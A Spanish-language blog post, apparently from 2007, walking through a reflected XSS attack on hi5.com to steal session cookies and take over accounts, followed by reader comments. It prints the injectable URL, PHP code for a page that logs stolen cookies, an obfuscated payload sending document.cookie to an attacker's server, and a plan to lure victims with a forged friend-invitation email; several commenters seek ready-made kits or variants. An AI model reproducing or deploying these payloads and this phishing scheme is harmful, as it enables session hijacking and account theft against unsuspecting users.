Explotando XSS en hi5.com

agosto 8, 2007

Que tal, en este nuevo artículo quiero mostrarles los poderes del XSS(Cross Site Scripting), aplicados en el sitio hi5.com , para evitar hacer de éste articulo algo largo, evitaré muchas explicaciones sobre el tema, solo me concentrare en la idea principal.

Utilizaré el bug publicado en http://www.xssed.com para el sitio de hi5, puedes probarlo solo ingresando a esta dirección:

http://www.hi5.com/friend/displayClassifieds.do?category=item_vehicle&mcategory=
2765733043788180992,2873248617161703&cat_id="><script>alert(document.cookie)</script>

Como podran ver, si entran al link aparece una alerta con la cookie en el sitio de hi5.com, si tienes una sesión iniciada, esta cookie contendrá toda la información de tu sesión.

Bueno primero planeamos el ataque:

  1. El objetivo es guardar la cookie del usuario al que queremos atacar, para ésto necesitamos programar ua página que guarde la cookie en una base de datos, para poder copiarla después
  2. El código javascript como alerta no sirve, necesitamos que redireccione a la victima a nuestro servidor para guardar la cookie que enviaremos por “GET”, es decir el código debe ser algo como: document.location=”http://misitio/robacookie.php?cookie=”+document.cookie
  3. Una vez logrado ésto solo hay que lograr que el usuario se meta al link “malicioso”

Nota: el código javascript se pone después de: http://www.hi5.com/…….73248617161703&cat_id=">...AQUI EL JAVASCRIPT..., para los ejemplos solo parte del javascript

Empezemos….

Primero se programa una página(en mi caso es en php) que reciba la cookie como parámetro, el código sería algo como ésto:

if($_GET['cookie']){
mysql_connect("host","usuario","contraseña");
mysql_select_db("base_de_datos");
$query="INSERT INTO cookies (cookie , hora ) VALUES
('".$_GET['cookie']."','".date("d-m-Y;H:i:s")."')";
mysql_query($query);
header("Location: http://www.hi5.com");

}

Este código es muy simple y hay el que podría ser hackeado sería yo, pero solo quiero poner la idea Analizando el código, primero revisa si se recibe un parametro por medio de GET, si es asi se conecta a la base de datos e inserta el valor que recibe y la fecha para cuestiones prácticas, una vez insertado redirecciona de nuevo a hi5.com, y esto generalmente pasa tan rápido que la victima no nota que cambio por unos momentos de servidor

A continuación hay que hacer el código javascript que redireccione a la página que programamos:
Primer intento:
nota: Recuerdo que el código va al final de la dirección en vez de la alerta como dije antes

<script>document.location=”http://misito.com/robacookie.php?cookie=”+document.cookie</script&gt;

si entramos a la direccón ya con el códgio puesto podemos ver que no sirve ya que no acepta comillas ni comilla simple, para resolver esto hay que enviar la cadena: “http://misito.com/robacookie.php?cookie=&#8221; sin usar comillas, esto se puede hacer con la función javascript String.fromCharCode(), aquí ponemos el valor decimal de cada una de las letras de la cadena separadas por comas, por ejemplo para escribir “XSS” ponemos: String.fromCharCode(88,83,83), que significa lo mismo

Nota, para crear esta cadena fácilmente , en mi sitio tengo una herramienta que la genera automáticamente.

Después de algunos intentos para poner la instrucción y que se ejecute, lo logre de ésta manera que no diría que sea la única ni la mejor pero funciona:

<script>h=String.fromCharCode(**direccion encondeada del servidor que roba cookies ej: http://misito.com/robacookie.php?cookie= **); document.location=h.concat(document.cookie);</script>

Si agregar esto a la dirección con el bug XSS y entrar a ella podrán notar como redirecciona a la dirección que pusieron y guarda tus cookies de hi5.

Listo ya tenemos el link “maligno”, ahora como hacer que la victima entre a ella y no sospeche:

La solución enviar un mail de hi4 como una invitación de un amigo cambiando los links reales por el link maligno, y la victima al hacer click en este link se le pueden robar sus cookies.

Si el usuario guarda su sesión, y entramos  a hi5 y nos “ponemos” sus cookies, entraremos a su cuenta.

14 comentarios to “Explotando XSS en hi5.com”

  1. CRistian Says:

    Tio me parece interesante
    pero me puedes dar una mejor explicacion plis

  2. Al-X Says:

    Solo una duda, xq dices que con el codigo php q pusiste anteriormente t podrian hackear a ti? es posible q tambien usen XSS contra tuya?

  3. Alfonso Says:

    En lo de que podría hackear me refiero a qué podria ser víctima de sql injection

    Saludos!

  4. Alfonso Says:

    Qué tipo de explicación necesitas Cristian?

  5. Anónimo Says:

    yo tengo una duda entonces el link kedaria segun tu codigo de la siguiente forma? http://www.hi5.com/h=String.fromCharCode(**direccion encondeada del servidor que roba cookies ej: http://misito.com/robacookie.php?cookie= **); document.location=h.concat(document.cookie);

  6. socio Says:

    Hola, un favor tienes uno ya listo, hay partes que no entiendo, en especial donde tengo que crear una bae de datos, me podrias pasar uno que tu ya hayas echo uy probado, solo para ver como es, osea enviarme la el pass y email de hi5, la pag php, y todo, solo quiero ver como lo hicistes, no es pro flojo sino quiero agarrar lo que tu hicistes de ejemplo. antes que me olvide, mira esta pagina:
    http://roushdat.wordpress.com/2007/04/16/dont-mail-me-your-password-plz-p/
    funciona eso, si funciona lo podrias explicar, lo que pasa es que yo no se ingles, gracias nuevamente. si me envias algo mi email es: fransney@hotmail.com

  7. Agente Fog Says:

    A estas alturas ya no funciona😦 pero siempre habrá formas de inyectar javascript😀

    Me latió el uso del método String.fromCharCode() para ofuscar el script. Por curiosidad me gustaría saber si probaste simplemente codificar las comillas como %22.

    Otra cosa ¿para qué tomarse la molestia de la base de datos, si en los logs de Apache tienes el URL completo con su timestamp? Si no tienes acceso a los logs, guardas el cookie a un archivo de texto y no te rompes la cabeza protegiendo de inyección SQL tu propio programa😉

    Ahora que también sería interesante que el programa PHP usara esa cookie inmediatamente…

  8. Alfonso Says:

    Si tienes toda la razon en cuanto a lo de la base de datos, es mas sencillo simplemente escriir en un archivo

    Saludos y gracias por el comentario!

  9. diego Says:

    Hola alfonso. Veo que ya no sirve este metodo, sin embargo, el agente fog veo que dice que se puede inyectar javascript. podrias hacer un tutorial para hacer esto? me interesaria mucho este método, y hasta mediante mi perfil de hi5, implementando “cookie stuffing” podria hacer que cualquiera que vea mi perfil me deje su cookie. jaja se escucha interesante y malevolo, espero que tengas una guia para inyectar javascript, o talvez si puedas hacer una!
    saludos!!

  10. preciosa Says:

    en el hi5 me pide un codigo para activar mi cuenta y nose cual es pueden ayudarme??????????????????????????????????????????????

  11. HackerClaus Says:

    Zaludos alfonso trabajo en un proyecto similar pero es para un foro lo que quiero saber como pudiese hacer para en vez de almacenar la cookie en una BD se hiciera un envio a un correo.

    Thanks

  12. Luis Says:

    Hola, oie me podrias agregar al msn? bueno espero y si, o mejor me l pasas, saludos!

  13. franco Says:

    POR FAVOR KIERO QUE TODOS LO QUE SEPAN HACKEAR SE CONTACTEN A ESTE EMAIL masterboy70@hotmail.com


Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: